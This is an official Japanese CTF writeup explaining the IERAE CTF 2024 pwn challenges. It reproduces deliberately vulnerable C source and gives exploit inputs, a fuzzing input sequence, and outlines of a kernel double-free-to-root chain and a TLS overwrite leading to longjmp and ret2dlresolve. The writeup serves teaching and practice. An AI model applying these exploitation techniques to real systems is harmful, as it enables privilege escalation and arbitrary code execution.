セキュリティブログ

【pwn】 IERAE CTF 2024 公式 Writeup

【pwn】 IERAE CTF 2024 公式 Writeup

更新日:2024.10.11

本記事では2024年9月21日~22日に開催された、IERAE CTF 2024のpwn問題の解法を解説します。

他のジャンルの解説は以下の記事をご覧ください:

This is warmup (warmup)

作問者: hugeh0ge
正解チーム数: 48

概要

非負整数値を二つ入力すると、それらを縦・横の大きさとして解釈し、市松模様を出力するプログラムです。

$ ./chal
Enter number of rows: 3
Enter number of cols: 6
I made Ichimatsu design for you!
0 1 0 1 0 1
1 0 1 0 1 0
0 1 0 1 0 1

コメントでも書かれている通り、SEGV(プログラムのクラッシュ)を引き起こせば、フラグが出力されます。

void win(int sig) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

...

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);

脆弱性

このプログラムは、縦・横の大きさを受け取った後、それらを掛け算してサイズを計算し、mallocによるバッファの確保を行っています。

  printf("Enter number of rows: ");
  scanf("%llu", &nrow);

  printf("Enter number of cols: ");
  scanf("%llu", &ncol);
...
  char *matrix = malloc(nrow*ncol);

ここで、nrowncol はどちらも unsigned long long intで宣言されており、64bit整数です。よって、掛け算の結果は最悪128bitの大きさになり、64bit整数には収まり切りません。結果として、nrowncolに非常に大きな値を与えた場合、掛け算の結果は64bitを超え、64bitで切り捨てられた値が mallocの引数として用いられることになります。言い換えると、いわゆる整数値オーバーフローが発生しています。

それにもかかわらず、以下のように、後続の処理では nrow*ncolバイトのバッファが確保できている前提で処理が行われるため、大きなインデックスで配列外参照が生じることによりプログラムをクラッシュさせることができます。

  for (unsigned long long int i=0; i<nrow; i++) {
    for (unsigned long long int j=0; j<ncol; j++) {
      matrix[i*ncol+j] = (i+j) % 2;
    }
  }

ただし、処理の途中に以下のような(誤った)整数値オーバーフローのチェックがあり、これを通過しないことには脆弱性を発火させることはできません。

  if (nrow * ncol < nrow) { // this is integer overflow right?
    puts("Don't hack!");
    exit(1);
  }

解法

前述した整数値オーバーフローのチェックは完全に誤っています。チェックしている条件は、整数値オーバーフローが起きるための十分条件ですが、必要条件ではありません。

例えば以下の値を与えることで、チェックをすり抜けた上でクラッシュを引き起こすことができます。

nrow = 2
ncol = 0x8000000000000001 (2 ** 63 + 1)
nrow * ncol(切り捨て前)= 0x10000000000000002 = (2 ** 64 + 2)
nrow * ncol(切り捨て後)= 2 (>= nrow)

計算結果が示す通り、nrow * ncol2となり、mallocにより確保されるのは2バイトのバッファである一方、配列参照は非常に大きなインデックスに対して発生するため、クラッシュが発生します。

$ ./chal
Enter number of rows: 2
Enter number of cols: 9223372036854775809
Well done!
IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}

Copy & Paste (easy, was_warmup)

作問者: hugeh0ge
正解チーム数: 24

概要

2つのコマンドが提供されているプログラムで、ファイルの中身をバッファにロードすることと、バッファ同士でのコピーができます。

$ ./chal
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command:

バッファは自身のサイズを記録しているため、単純にバッファのコピーによってバッファーオーバーフローが起きることはありません。

struct buffer {
  size_t buf_size;
  char *buf_ptr;
};

void copy() {
...

  struct buffer *src = &bufs[src_idx];
  struct buffer *dst = &bufs[dst_idx];
  size_t copy_size = src->buf_size;
  if (dst->buf_size < copy_size) copy_size = dst->buf_size;

  memcpy(dst->buf_ptr, src->buf_ptr, copy_size);
  printf("Copied %llu bytes from buf #%d to buf #%d\n", copy_size, src_idx, dst_idx);
}

This is warmupと同様に、クラッシュを起こせばフラグが得られます。

void win(int sig) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

...

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);

脆弱性

ファイルの中身をバッファにロードする際、ftellによってファイルサイズを取得しようとしていますが、戻り値の扱いに誤りがあります。

void create_new_buf() {
...        
  printf("Enter file name: ");
  char *fname = read_str();

  FILE *fp = fopen(fname, "r");
  if (!fp) {
    puts("Your specified file doesn't exist");
    exit(1);
  }

  // Get file size to allocate buffer
  fseek(fp, 0, SEEK_END);

  int size = ftell(fp);

まず、ftellの戻り値はlong型であるため、int型に収まる値が返ってくるとは限りません。

その上、ftellは失敗時に-1を返しますが、-1が返ってきていないかを確認することなく、後続のバッファ確保で戻り値を利用しています。

  char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0'
  if (!ptr) {
    puts("malloc failed");
    exit(1);
  }

  dst->buf_ptr = ptr;
  dst->buf_size = size;

size-1になっているとき、size+1すなわち0mallocの引数になります。malloc(0)は成功してしまうため、buf_size0xffffffffffffffff (2 ** 64 - 1) であるようなバッファができてしまいます。

解法

まずは上述したように、ftell-1を返させることで、異常なバッファを作成します。これは、例えば/proc/self/fd/2をファイルとして読ませることで達成可能です。

$ ./chal
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /proc/self/fd/2
Read -1 bytes from /proc/self/fd/2

この作成されたバッファでは、buf_sizeは64bit非負整数の最大値で、実際のバッファサイズは 0 になっています。すなわち、0バイトの小さなバッファに、任意のサイズのデータをコピーすることができるため、適当に大きなバイト列をコピーすると、クラッシュが起きます。

Enter command: 1
Enter file name: /lib/x86_64-linux-gnu/libc.so.6
Read 1933688 bytes from /lib/x86_64-linux-gnu/libc.so.6
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Well done!
IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}

Command Recorder (easy)

作問者: hugeh0ge
正解チーム数: 11

概要

以下のように、コマンドの列を登録し、順番に実行することができるプログラムが与えられます。

$ ./chal
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 3
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 4
Enter argument: hello
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 5
Current sequence:
===============================
id
echo hello
===============================
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 3
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
hello

登録できるコマンドの中には cat_flag というものがあり、これが実行されればフラグを得ることができます。

void win(void) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}
...
void execute_sequence(void) {
...
    if (strncmp(cur_line, "cat_flag\n", 9) == 0) {
      win();
    } 

しかし、以下のようにcat_flagを正規に登録することは禁止されているため、何らかの脆弱性により不正にcat_flagを実行する必要があります。

$ ./chal
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 1
This command is only for admin. Sorry!

脆弱性

現在のコマンドの列から、指定したコマンドを削除する操作 pop_command にバグがあります。

void pop_command(void) {
  printf("Enter index to remove: ");

  int idx = read_int();
...
  char *cur_line = sequence_buf;

  while (cur_line < &sequence_buf[cur_idx]) {
    char *ptr = strchr(cur_line, '\n');
...
    if (idx == 0) {
      // remove one line (i.e., cur_line ~ ptr)
      // to remove the command
      strcpy(cur_line, ptr+1);
      cur_idx = strlen(sequence_buf);
      return;
    }

    cur_line = ptr+1;
    idx--;
  }

ここで、sequence_bufは登録されたコマンドを改行区切りで順番に並べて記録しているバッファです。すなわち、1行につき1つのコマンドが格納されています。

一見問題ないように思えますが、strcpyには「第1引数と第2引数の利用しているメモリが重複している場合、未定義動作になる」という仕様があります。cur_lineは削除されるコマンドの行からsequence_bufのヌル文字まで、ptr+1は次の行からsequence_bufのヌル文字までを表す文字列であるため、これらは明らかに重なっています。実際に pop_command を実行してからコマンド列を表示してみると、コマンド列が壊れ、異常なコマンドになることがあると分かります。

...
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 3
...
Enter command: 1
1. cat_flag
2. whoami
3. id
4. echo
Enter command: 4
...
Enter command: 5
Current sequence:
===============================
id
echo ABCDEFGH
===============================
...
Enter command: 2
Enter index to remove: 0
...
Enter command: 5
Current sequence:
===============================
e ABCDEFGH ← 本来は"echo ABCDEFGH"であるべき

===============================

解法

上述したバグを利用して、不正に cat_flag\n という1行をsequence_bufに作ればいいです。strcpyは一般にSIMD(現代のマシンでは基本的にAVX2以上)で実装されており、2引数が重複している場合の文字列の壊れ方はこのSIMD実装の中身に依存します。SIMD実装を読み、手作業でうまくcat_flag\nを作ることもできなくはないですが、非常に手間がかかると言えるでしょう。

したがって、想定解法は、可能な操作をランダムに実行する、ファジングのような探索を行い、cat_flag\nが作れるような操作手順を発見することです。作問者がテストした際には、以下のような入力により、cat_flag\nを作ることができました。

S = '0123456789abcdefghijklmnopqrstuvwxyz'
seq = ['1', '4', S, '2', '0', '1', '4', S, '1', '2', '2', '0', '1', '2', '2', '0', '1', '3', '2', '0', '2', '0', '1', '3', '1', '2', '2', '1', '1', '4', S, '1', '2', '2', '2', '1', '2', '1', '2', '1', '4', S, '2', '4', '1', '4', S, '1', '3', '2', '4', '2', '0', '1', '3', '1', '3', '2', '4', '1', '2', '1', '2', '2', '0', '2', '2', '1', '4', S, '2', '3', '1', '3', '1', '4', S, '1', '2', '2', '5', '2', '4', '1', '2', '2', '6', '1', '3', '2', '7', '2', '1', '2', '0', '2', '1', '1', '3', '2', '1', '2', '4', '2', '0', '1', '3', '2', '5', '1', '4', S, '1', '2', '2', '5', '1', '2', '2', '0']

for l in seq:
  p.sendline(l.replace('ijklmnop', 'cat_flag'))

free2free (medium)

作問者: rona
正解チーム数: 2

概要

chal.c を読むとioctlのハンドラが以下のように定義されています。

  • CMD_ADD_OBJ: 任意のサイズでkmallocを行うことができる
  • CMD_DEL_OBJ: 指定したインデックスに存在するオブジェクトをkfreeする
  • CMD_SUPER_DEL_OBJ: 指定したインデックスに存在するオブジェクトをkfreeしてobjsを0クリア
static long chal_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
...
  switch (cmd) {
    case CMD_ADD_OBJ:
      for (idx = 0; idx < NUM_OBJ; idx++) {
        if (objs[idx].ptr || objs[idx].is_alloced) continue;
        objs[idx].ptr = kmalloc(arg, GFP_KERNEL);
        objs[idx].is_alloced = true;
        ret = idx;
        break;
      }
      break;
    case CMD_DEL_OBJ:
      idx = arg;
      if (idx < NUM_OBJ && objs[idx].is_alloced) {
        kfree(objs[idx].ptr);
        objs[idx].is_alloced = false;
        ret = 0;
      }
      break;
    case CMD_SUPER_DEL_OBJ:
      idx = arg;
      if (!did_super_del && idx < NUM_OBJ) {
        kfree(objs[idx].ptr);
        did_super_del = true;
        memset(objs, '\0', sizeof(objs));
        ret = 0;
      }
      break;
  }

脆弱性

脆弱性はkfreeが同じアドレスに対して2度呼べることです。

解法

このブログで紹介されているDirty Pagedirectoryと呼ばれる攻撃を行います。
攻撃の流れは以下です。

  1. kmallocでorder>=4 のオブジェクトを割り当てる
  2. CMD_DEL_OBJでオブジェクトを解放
  3. PTEを大量に割り当てて、1.で割り当てたアドレスをカーネルに再利用させる
  4. CMD_SUPER_DEL_OBJでPTEを解放
  5. Page Directoryを大量に割り当ててPTEだったアドレスを再利用
  6. 物理アドレスのAAR,AAWができるので、modprobeを書き換えて権限昇格

前半 アドレスの再利用

上記1~3は一度kmallocで割り当てられたアドレスをPTEに再度割り当てさせる工程です。

kmallocで取得される領域はそのサイズによってどこから確保されるかがかわります。order>=4(PAGE_SIZE * (1 << 4)以上)の領域を要求した場合は、buddyアロケータから確保されます。これは、後述のPTEがbuddyアロケータから確保される(__alloc_pages経由で確保される)ことから重要です。

PTEとは物理アドレスの配列です。PTEとして使われているページは(マスクされた)物理アドレスを保持しており、論理アドレスと物理アドレスを紐付ける役割を担っています。

詳しくは筑波大学の講義資料こちらの資料を参考にしてください。

重要なのは、PTEを書き換えることができると、仮想アドレスを任意の物理アドレスと紐付けることがでるため、AAR(任意読み込み)とAAW(任意書き込み)のプリミティブが手に入るということです。

後半 AARとAAWの構築

上記4~6では、Double freeを用いてPTEをPMDと被らせることで、AARとAAWの構築をしています。

kfreeはPTEのようにalloc_pagesで確保されたアドレスを引数に呼び出されたとき、そのページをbuddyアロケータに返却します。したがって、CMD_SUPER_DEL_OBJでPTEをkfreeすると、次回alloc_pagesでページが確保されたときにPTEであったページを返します。参考文献のコードをこの問題に合わせて改変すると以下のようなコードになるでしょう。

static void kref_juggling(void)
{
    struct page *obj, *pte, *pmd;

    obj = kmalloc(0x1000 * (1<<4));  // refcount 0 -> 1
    kfree(obj);  // refcount 1 -> 0
    pte = alloc_pages(GFP_KERNEL, 0);  // refcount 0 -> 1
    kfree(obj);  // refcount 1 -> 0
    pmd = alloc_pages(GFP_KERNEL, 0);  // refcount 0 -> 1
}

pmdにページを確保したあとは画像のようにPTEとPMDが同一のページに存在しており、この状態でDouble freeされたページをPMDと見るポインタ(victim ptr)をデリファレンスすると任意の物理アドレスに対する読み込み、書き込みができます。

このプリミティブを使ってmodprobe_pathを書き換えることでroot権限で任意のコードを実行できます。

Intel CET Bypass Challenge (medium)

作問者: hugeh0ge
正解チーム数: 5

本問題については、以下のブログ記事にて別途解説しています:

https://gmo-cybersecurity.com/blog/intel-cet-bypass-on-linux-userland/

New Under The Sun (hard)

作問者: hugeh0ge
正解チーム数: 0

概要

以下の19行の小さいプログラム上で任意のコード実行をする問題です。

// gcc chal.c -o chal -O3 -no-pie

#include <stdio.h>
#include <stdlib.h>

_Thread_local char buf[16];

int main() {
  long long int idxs[11] = {};
  long long int vals[11] = {};

  for (int i=0; i<11; i++) {
    scanf("%lld%lld", &idxs[i], &vals[i]);
    if (idxs[i] < 0 || 0x3000 <= idxs[i]) continue; // Idiot
    buf[idxs[i]] = vals[i];
  }

  exit(0);
}

脆弱性

明らかに、char型の配列buf[16]に対して、buf[idxs[i]]により配列外参照が起きています。

解法

_Thread_local指定子により、bufはTLS (Thread Local Storage)領域上に配置されます(具体的には、fs:-0x10)。idxs[i]は負の値にできないことから、libcやld.soが利用する、TLS領域上の変数を書き換えることはできないと分かります。したがって、例えば__call_tls_dtors のような既知の手法を使うことはできません。また、アドレスリークがないため、__run_exit_handlersなどを利用するのも難しいでしょう。言い換えると、fs:0以降の変数を11バイトだけ書き換えて、任意のコード実行に持ちこむ必要があります。

ここで、glibcを読んでみると、fs:0に存在している構造体struct pthreadには、以下のようなメンバが存在していることが分かります。

struct pthread
{
...
  /* Unwind information.  */
  struct pthread_unwind_buf *cleanup_jmp_buf;
  /* Flags determining processing of cancellation.  */
  int cancelhandling;
...
};

/* Internal version of the buffer to store cancellation handler
   information.  */
struct pthread_unwind_buf
{
  struct
  {
    __jmp_buf jmp_buf;
    int mask_was_saved;
  } cancel_jmp_buf[1];

実は、cancelhandlingをうまく書き換えることで、scanfの終了時に、このjmp_bufによるlongjmpが実行されます。longjmpで設定されるレジスタ群の一部は、PTR_MANGLEにより値が暗号化されていますが、暗号化鍵はfs:0x30に存在するpointer_guardであるため、書き換えて無効化することができます。8バイトの書き換えでpointer_guardを任意の値に設定し、1バイトの書き換えでcancelhandlingを上書き、2バイトの書き換えでcleanup_jmp_bufのアドレスをPartial Overwriteすることで、1/16の確率で、main関数のidxsvalsjmp_bufとして用いることができます。

ここまでくればripを任意に設定できているため、あと一息ですが、アドレスのリークがほとんど不可能である点にだけ注意が必要です。想定解では、アドレスのリークを用いずに任意のコード実行を達成するため、ret2dlresolveを用いました。ret2dlresolveでは、dl_runtime_resolveに読み込ませるための偽の構造体データをいくつか作成する必要がありますが、これはlongjmpによって、rspをbssにpivotしつつ、再度main関数に戻ることで達成可能です。

セキュリティ診断のことなら
お気軽にご相談ください
セキュリティ診断で発見された脆弱性と、具体的な内容・再現方法・リスク・対策方法を報告したレポートのサンプルをご覧いただけます。

関連記事

経験豊富なエンジニアが
セキュリティの不安を解消します

Webサービスやアプリにおけるセキュリティ上の問題点を解消し、
収益の最大化を実現する相談役としてぜひお気軽にご連絡ください。

疑問点やお見積もり依頼はこちらから

お見積もり・お問い合わせ

セキュリティ診断サービスについてのご紹介

資料ダウンロード